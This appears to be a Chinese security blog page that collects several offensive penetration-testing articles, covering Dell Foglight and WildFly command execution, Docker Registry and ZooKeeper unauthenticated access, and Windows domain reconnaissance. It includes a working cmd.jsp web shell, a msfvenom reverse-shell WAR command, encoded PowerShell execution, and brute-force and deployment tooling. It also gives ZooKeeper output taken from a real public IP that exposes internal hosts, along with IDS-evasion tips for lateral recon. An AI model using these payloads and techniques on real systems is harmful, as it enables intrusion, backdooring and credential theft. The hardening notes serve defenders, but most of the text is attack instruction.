re4lity 发布的文章 - 勾陈安全实验室

re4lity 发布的文章

Dell Foglight for Virtualization利用

介绍

Dell Foglight for Virtualization是戴尔的一款企业级基础架构和虚拟化运营管理,简单来说就是基础架构性能监控工具。

登录认证&命令执行

Dell Foglight for Virtualization的默认用户名/密码为:foglight,在配置不当的情况下我们可以通过默认凭证登录Foglight的控制台

<IP_ADDRESS>:8080

2017_06_20_10_07_43_Parrot_VMware_Workstation.png

成功登录之后就可以利用Foglight集成的脚本控制台在主机上执行代码

打开如下选项卡

Homes -> Administration -> Investigate -> Data -> Script Console

Scripts选项卡下单击[+] Add按钮

示例:

"cmd.exe /c ".execute

或者使用PowerShell:

"powershell.exe -NoP -NonI -W Hidden -Enc".execute

可以直接交互Empire或者是Metasploit Web Delivery的Payload进行反弹等操作

跟Jenkins一样Foglight执行脚本命令也是使用Groovy Script,且Foglight也可以像Jenkins管理其他节点一样在其管理的设备上执行代码:

打开Homes -> Automation -> Workflow Management选项卡点击[+] New按钮

然后在Workflow Management中选择All ActionPacks -> Common -> Scripting

会出现如下几个选项

  • Run PowerShell Script
  • Send and Run Command(s)
  • Send and Run PowerShell script

worlflow.png

可以执行PowerShell命令,甚至可以创建恶意工作流程推送到所有管理的设备。

凭证

Foglight存储凭据管理在Dashboards-> Administration -> Credentials选项卡中,点击Manage Credentials按钮就可以查看存储的凭证。其中包含了加密凭证和加解密的密钥,如果能解密存储的凭证就可以进行更多横向操作。

参考

Hacking WildFly

前言

前段时间做项目碰到的,研究了下。一些拙见,欢迎指正-:)

简介

Wildfly是一个基于Java的应用服务器,Wildfly是Redhat在2013年为JBoss AS项目起的新名称。改名后的首个版本为WildFly8,目前已经发布到了11.0.0.Final版本。这里不得不提JBoss EAP:

  • JBoss EAP < 7 (Wildfly < 10)
  • JBoss EAP >=7 (Wildfly >= 10)

了解更多:http://www.wildfly.org

服务发现与爆破

发现

Wildfly的默认端口为8080 ,Administrator Console的端口为9990 。可以匿名登录,服务识别可以使用Nmap或者其他同类型的工具扫描指定端口即可。

Nmap NSE脚本:

nmap ‐‐script wildfly‐detect 127.0.0.1

wildfly-detect.png

OpenVAS识别WildFly及其版本的脚本:http://plugins.openvas.org/nasl.php?oid=111036

爆破

使用Nmap NSE脚本:

nmap ‐p 9990 ‐‐script wildfly‐brute ‐‐script‐args "userdb=user.txt,passdb=pass.txt,hostname=domain.com" <target>

wildfly-brute.png

漏洞

Wildfly发布至今也未出现什么重大漏洞,少有几个RCE也没用公开能利用的PoC。

其中有个WildFly 8.1.0.Final目录遍历漏洞(CVE-2014-7816)的MetaSploit模块:

msf > use auxiliary/scanner/http/wildfly_traversal
msf auxiliary(wildfly_traversal) > show actions
msf auxiliary(wildfly_traversal) > set ACTION <action‐name>
msf auxiliary(wildfly_traversal) > show options
msf auxiliary(wildfly_traversal) > run

OpenVAS的JBoss WildFly Application Server RCE检测脚本:http://plugins.openvas.org/nasl.php?oid=806623看了下是受Java反序列化漏洞影响的一些版本。

还有个9.0.0.CR2之前的WildFly 9.x版本Undertow模块和10.0.0.Alpha1之前的10.x版本可以通过在URL末尾添加/来获取JSP页面源码的漏洞:https://stackoverflow.com/questions/30028346/with-trailing-slash-in-url-jspshow-source-code

http://localhost:8080/TaskManager/login.jsp/

WAR Backdoor&部署

WAR Backdoor

Wildfly并不能像Tomcat一样利用部署WAR后门,也无法使用Tomcat或Glassfish类型的.WAR后门文件。阅读官方文档之后发现Wildfly所使用的的WAR文件需要存在WEB-INF目录并且在WEB-INF目录下创建个自定义的jbossweb.xml文件,jboss-web.xml文件必须包含如下内容:

<?xml version="1.0" encoding="UTF‐8"?>
<jboss‐web xmlns="http://www.jboss.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance" xsi:schemaLocation="
http://www.jboss.com/xml/ns/javaee http://www.jboss.org/j2ee/schema/jboss‐web_5_1.xsd">
<context‐root>/WebShell</context‐root>
</jboss‐web>

其中<context-root>标签为应用程序目录,则上传部署完WAR文件之后访问的路径为:

http://127.0.0.1:8080/shellDirectory/shell.jsp

这里我们可以利用cmd.jsp来制作WAR文件,方便绕过一些WAF还有IDS:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println(request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>

MetaSploit:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=445 -f war > reverse-shell.war

部署

获得凭证后登陆Administrator Console选择Deployments选项卡 - Add上传部署并Enable启用,这边演示的是9.0.0版本:

1712211917ee775b7e7fbfd781.png

版本直接有少许差异,找到Deployments选项卡即可。

工具

爆破

python wildPwn.py ‐m brute ‐‐target <TARGET> ‐user <USERNAME LIST> ‐pass <PASSWORD LIST>

wildpwn.png

部署反弹Shell

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

wildpwn (1).png

References

Hacking Docker:Registry API 未授权访问

前言

docker pull HOST:PORT/IMAGE_NAME

image001.png

Exploit

环境

  • local.example.com (127.0.0.1)
  • port 30000

GET 请求/v1 /v2确认 Registry API 版本:

image003.png

确定版本后查看 repos 列表,/_catalog:

image005.png

例如 testrepo1,/REPO_NAME/tags/list查看标签:

image007.png

确定标签 (v1v2) 后使用/manifests/v2下载文件:

image009.png

使用终端下载文件v2//blobs/sha256:/:

https://localhost:30000/v2/testrepo1/blobs/sha256:4b981f68920b27d3a35992f3e0343acfc90f52dff050328f38d03f16ba984d34

image011.png

解压文件发现敏感信息:

image013.png

image015.png

自动化脚本:https://github.com/NotSoSecure/docker_fetch/

image017.png

脚本会将所有 gzip 压缩的 blob 保存在用户设定的目录中, 可以使用以下命令一次性解压:

for i in *.tar.gz; do tar -xzvf $i; done

网络空间调查

20170319171846.png

修复

  • 添加身份验证
  • 启用签名和验证
  • 使用 TLS

参考

攻击大数据应用:ZooKeeper

0x01 前言

随着大数据时代的到来,越来越多的大数据技术已逐渐被应用于实际生产,但作为一个安全人员,我们关注点必然和安全相关,那大数据环境中面临的安全问题又有哪些呢?Stardustsky牛的《攻击大数据应用(一)》对大数据的一些技术做一个简单的概念介绍并总结了Elasticsearch的四种攻击方式。这里我打算整理成一系列的Paper,本篇我们将着重探索一下ZooKeeper存在的一些安全问题。

0x02 ZooKeeper漏洞

ZooKeeper是一个开放源码的分布式应用程序协调服务,提供的功能包括:配置维护、名字服务、分布式同步、组服务等。Zookeeper默认是未授权就可以访问,特别对于公网开放的Zookeeper来说,这也导致了信息泄露的存在。

常见安全隐患:

  • 信息泄露
  • 开放公网访问
  • 未认证访问

一、信息泄露

这个漏洞的漏洞编号为CVE-2014-0085,是14年发现的一个信息泄露漏洞,危害级别比较低。我们看看漏洞描述:

58772fd442513.png

该漏洞源于程序记录明文admin密码。本地攻击者可通过读取日志利用该漏洞获取敏感信息。

在zookeeper中zoo.cfg中可以配置dataLogDir来单独放置事务log,可以很好的避免与普通log和内存快照混合。但是Zookeeper中使用了明文来显示密码,这就导致了信息的泄露。

该漏洞的利用场景:

内网渗透中遇到ZooKeeper集群后,可以查找事务日志来获取admin的密码或者其他敏感资源的认证方法。访问logs目录:

5877314c7a25c.png

可以看到认证中客户端使用的账号密码。如果是管理员的密码,就会造成更大的影响。

二、开放公网访问&未授权访问

未授权访问是Zookeeper目前存在的最为严重的一个安全问题,相当多的企业将其直接放置于公网,且未作任何访问限制,导致攻击者可直接访问到很多内部信息。

先来张图压压惊:

58773d2c6bcd7.png

Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令!

我们通过Zoomeye看一下全球对外开放的Zookeeper有多少:

587747ef4772b.png

587747ef7248b.png

结果显示全球大约有3W+主机开放了2181端口,也就说全球大约有3W+的Zookeeper未授权访问漏洞!

利用

发现 Zookeeper

nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24  
grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt

例如某厂商的Zookeeper未授权访问:

远程获取该服务器的环境

echo envi | nc ip port

587749087c56c.jpg

直接连接

telnet或者:

./zkCli.sh -server ip:port

命令运行示例:

dump:列出未完成的会话和临时节点。

$ echo dump |ncat 52.2.164.229 2181
    SessionTracker dump:
    Global Sessions(7):
    0x1053c5850800023   4000ms
    0x1053c5850800024   4000ms
    0x2000b1ecdeb0160   4000ms
    0x2000b1ecdeb0161   4000ms
    0x2000b1ecdeb0162   4000ms
    0x3055d0251540008   4000ms
    0x3055d0251540009   4000ms
    ephemeral nodes dump:
    Sessions with Ephemerals (5):
    0x1053c5850800024:
    /borg/locutus/agents/061e4b6/10.92.1.192:9257
    0x1053c5850800023:
    /borg/locutus/agents/061e4b6/10.92.1.118:9257
    0x3055d0251540008:
    /borg/locutus/agents/061e4b6/10.92.1.120:9257
    0x2000b1ecdeb0162:
    /borg/locutus/agents/061e4b6/10.92.1.87:9257
    0x3055d0251540009:
    /borg/locutus/agents/061e4b6/10.92.1.10:9257
    Connections dump:
    Connections Sets (2)/(7):
    Ncat: An established connection was aborted by the software in your host machine. .

envi:打印有关服务环境的详细信息。

$ echo envi |ncat 52.2.164.229 2181
    Environment:
    zookeeper.version=3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
    host.name=locutus-zk3.ec2.shopify.com
    java.version=1.7.0_79
    java.vendor=Oracle Corporation
    java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre
    java.class.path=:/etc/zookeeper-locutus:/usr/src/zookeeper-locutus/zookeeper/zookeeper-3.5.1-alpha.jar:/usr/src/zookeeper-locutus/zookeeper/lib/commons-cli-1.2.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-core-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-mapper-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/javacc.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-util-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-0.9.94.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-2.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/log4j-1.2.16.jar:/usr/src/zookeeper-locutus/zookeeper/lib/netty-3.7.0.Final.jar:/usr/src/zookeeper-locutus/zookeeper/lib/servlet-api-2.5-20081211.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.7.5.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.7.5.jar
    java.library.path=/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
    java.Ncat: An established connection was aborted by the software in your host machine.

reqs:列出未完成的请求。

$ echo reqs |ncat 52.2.*.229 2181
close: Result too large

ruok:测试服务器是否运行在非错误状态。

$ echo ruok |ncat 52.2.*.229 2181
imok

stat:列出关于性能和连接的客户端的统计信息。

$ echo stat |ncat 52.2.164.229 2181
    Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
    Clients:
     /10.92.1.120:35986[1](queued=0,recved=2238053,sent=2238053)
     /10.92.1.10:48851[1](queued=0,recved=2235979,sent=2235979)
     /10.92.1.242:54198[1](queued=0,recved=713623,sent=713623)
     /86.136.100.60:11057[0](queued=0,recved=1,sent=0)
     /10.92.1.253:60423[1](queued=0,recved=2204714,sent=2204714)
     /10.92.1.192:47933[1](queued=0,recved=1926008,sent=1926008)
     /10.92.1.118:37256[1](queued=0,recved=129470,sent=129470)
     
    Latency min/avg/max: 0/0/981
    Received: 25813570
    Sent: 25813622
    Connections: 7
    Outstanding: 0
    Zxid: 0xc2000016ad
    Mode: follower
    Node count: 192

kill命令太危险就不测试了。

ZooKeeper的一些基本知识和命令可以参考:《Zookeeper中文文档》

这里贴上一个ZooKeeper未授权访问的检测脚本:

https://raw.githubusercontent.com/ysrc/xunfeng/master/vulscan/vuldb/zookeeper_unauth_access.py

0x03 加固建议

  • 禁止把Zookeeper直接暴露在公网
  • 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

0x04 总结

本文主要介绍了ZooKeeper的一些安全隐患和攻击方式,但这些漏洞除了非授权访问基本上都已被修复。篇幅有些短,因为大数据安全对很多安全研究者来说还是个比较陌生的领域,网上关于这方面的案例不多,大家对大数据应用的安全重视程度也还比较低,但是对于大数据逐渐泛滥的今天,相信会有更多的从业者投身到该领域的研究中来。欢迎补充:-)

0x05 参考

内网渗透定位技术总结

0x01 前言

说起内网定位,无论针对内网查找资料还是针对特殊人物都是非常实用的一项技术。这里把目前能够利用的手段&工具都一一进行讲解。

0x02 服务器(机器)定位

收集域以及域内用户信息

  • 收集域内域控制器信息
  • 收集域控上域用户登录日志信息
  • 收集域内所有用户名以及全名、备注等信息
  • 收集域内工作组信息
  • 收集域管理员帐号信息
  • 收集域内网段划分信息
  • 收集域内组织单位信息

常用收集域信息命令:

Net use
Net view
Tasklist /v
Ipconfig /all 
net group /domain 获得所有域用户组列表
net group “domain admins” /domain 获得域管理员列表
net group “enterprise admins” /domain 获得企业管理员列表
net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins)
net group “domain controllers” /domain 获得域控制器列表
net group “domain computers” /domain 获得所有域成员计算机列表
net user /domain 获得所有域用户列表
net user someuser /domain 获得指定账户someuser的详细信息
net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
nltest /domain_trusts 获取域信任信息

net view 看机器注释或许能得到当前活动状态的机器列表,tasklist可以得到当前机器跑着的域账号。

结构分析

从计算机名获取ipv4地址:

使用nbtstat命令可以实现:nbtstat -a DC1,ping命令也可以实现:

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4

Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:

Reply from 192.168.206.100: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.206.100:
 Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 0ms, Maximum = 0ms, Average = 0ms

如果计算机名很多的时候,可以利用bat批量ping获取ip:

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)

10.jpg

最后可以把所有得到domain admins账号再net user 下,为这些信息按内容分别建立文件进行分析。

例如:

  • Users.txt 存放和用户信息有关的内容
  • Group.txt 存放和分组信息相关的内容

信息收集的姿势:

  • 人事组织结构图

例如:

789243degw1eift8ttyncj20q60a1adc_meitu_1.jpg

像这种人事组织结构图,很多公司和企业的外部站点上就有。然后结合分析人事资料里相关员工全称与域内用户名对应关系,就能很快定位到需要定位的人员使用的机器。

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提取有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 工具

常用工具:Dsquery/Dsget,Ldifde,Csvde,Adexplorer,Adfind,wmi,powershell…

工具使用参考:初级域渗透系列 – 01. 基本介绍&信息获取

注:控制扫描的频率和速度,可以大大降低触发IDS的风险,针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则,同时可以考虑使用内网管理工具使用的相同协议进行扫描探测。Tips:

内网无工具扫描

http://rinige.com/index.php/archives/112/

一条 cmd 命令解决:

for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

ping 整个 c 段,只输出有响应的主机。

% H" g% Q+ _6 q- P7 t

更变态的:

4 o4 g8 X- v9 x& w

域机器对应 IP

FOR /F "eol=- tokens=1 delims=\ " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | 
find /i "ttl" & echo.)

把 net view 的结果,挨个 ping 一遍,并输出机器名和 ip 地址。

找主机名

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"

B 段查找

for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

Win7

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

改成

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Ping"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Ping"

就可以兼容 Win7 了。(Win7 ping -a 输出结果关键词为 “Ping”)

另外findstr /i “pinging” 或 findstr /i “ping” 可以换成 findstr “[” 的 可以适合多语言环境

0x03 文件定位

结合服务器定位总结出文件定位的大致思路:

  • 定位人力资源主管个人机
  • 定位人力资源相关文档存放位置
  • 从人力资源文档中找相关人
  • 定位相关人的机器
  • 监视相关人工作时存放文档的位置
  • 列出存放文档服务器的目录

20161201183217_meitu_2.jpg

文件定位需要注意的点:

  • 产品名称
  • 内部名称
  • 项目负责人
  • 项目团队
  • 生产部(分公司,工厂,代工厂)

经验

  1. FTP
  2. SMB
  3. DCNETLOGON\
  4. 产品管理系统(仓库管理系统)
  5. 各种数据库
  6. 其他服务器(分公司,工厂,代工厂)

定位文件服务器请参考上一节定位服务器(机器),定位到文件服务器和某个人,对于文件定位来说应该会事半功倍。这里就不过多叙述了。

参考:后渗透攻防的信息收集

0x04 管理员定位

工具

psloggedon.exe

系统自带工具。通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限

psloggedon.png

netsess.exe

netsess.exe的原理也是调用NetSessionEnum API,并且在远程主机上无需管理员权限。

netsess.png

PVEFindADUser.exe

用于枚举域用户以及登陆过特定系统的用户,需要管理员权限。工具描述:corelan

pvefindaduser.png

netview.exe

使用WinAPI枚举系统,利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。它也能查询共享入口和有价值用户,还能使用延迟和抖动。绝大部分功能不需要管理员权限。

netview.png

Nmap的Nse脚本

如果你有域账户或者本地账户,你可以使用Nmap的smb-enum-sessions.nse 脚本来获取远程机器的登录session,并且不需要管理员权限。

参考:

nmap.sessions.png

Smbexec&Veil-Pillage

然后Smbexec有个 checkda模块,它可以检测域管进程和域管登陆。Veil-Pillage有它的 user_hunter 和group_hunter 模块,这两个工具都需要管理员权限。

hunter

hunter是一款利用 Windows API 调用来枚举跳板机上的用户登录信息的工具,无需管理员权限

file.png

domain.png

delay.png

groups.png

users_per_group.png

Active Directory

你可以通过AD信息来识别一些连接到服务器的用户

参考:

PowerShell

上面也曾提到针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则。PowerShell有很多方法Windows Api并且绕过白名单。

参考:

PowerView

PowerView 里面有一些功能可以辅助找寻定位关键用户。要找到目标对应的用户时Get-UserProperties 将会提取所有用户的属性,并且Invoke-UserFieldSearch可以根据通配符来找寻特定用户的相关属性。这可以缩小目标搜索范围。比如说:我们使用这些功能来找Linux管理员组和其相关的成员,就可以追踪和键盘记录他们的putty/ssh会话。

Invoke-UserHunter 功能可以找到域内特定用户群。它支持一个用户名,用户列表,或域组查询,并支持一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和Get-NetLoggedon(调用NetSessionEnum和 NetWkstaUserEnum API) 对每个服务器跑一遍而且会比较结果筛选出目标用户集。而且这个工具不需要管理员权限。

命令参考:

Get-NetGroups -> Get-NetGroup
Get-UserProperties -> Get-UserProperty
Invoke-UserFieldSearch -> Find-UserField
Get-NetSessions -> Get-NetSession
Invoke-StealthUserHunter -> Invoke-UserHunter -Stealth
Invoke-UserProcessHunter -> Invoke-ProcessHunter -Username X
Get-NetProcesses -> Get-NetProcess
Get-UserLogonEvents -> Get-UserEvent
Invoke-UserEventHunter -> Invoke-EventHunter

userhunter.png

Invoke-StealthUserHunter 只要一个查询就可以获取域内所有用户, 从user.HomeDirectories提取所有用户, 并且会对每个服务器进行Get-NetSessions 获取。无需使用 Invoke-UserHunter对每台机器操作,这个办法的隐蔽性就更高一点,但是涉及到的机器面不一定那么全。

一般默认使用Invoke-StealthUserHunter ,除非找不到我们所需,才会去使用Invoke-UserHunter方法。

stealth.userhunter.png

Invoke-UserProcessHunter是PowerView 的新功能。利用Get-NetProcesses cmdlet 来枚举远程机器的tasklists和进程寻找目标用户。这个枚举功能需要管理员权限。

process_hunter.png

Get-UserLogonEvents cmdlet可以查询查询登录事件(如:ID 4624)远程主机,Invoke-UserEventHunter 查询特定用户在域控上面的登陆日志,需要域管理权限。

参考:

user_event_hunter.png

其他一些姿势

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提权有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 查找域管进程

Scott Sutherland (@_nullbind) 2012年写了篇查找域管进程的文章。 其中详细讲述了如何使用tasklist和nbtscan的批处理来扫描机器及用户。不过远程tasklist的时候,需要本地管理员权限。

参考:

hunt for domain admin processes

0x05 总结

内网渗透,不是简单的耍流氓的说”可内网渗透”或者“内网漫游”,有着更高更深的责任和需求,有着更多设备和报警及防护软件(如Bit9,惠普ARCsight,Mandiant等等)的突破,有着更多网络拓扑和结构需要清晰洞察,有着更多的域控和域需要占领。 定位到内网管理员或者管理员上过的机器或者定位到文件和某个人,对于内网渗透来说应该会事半功倍。

0x06 参考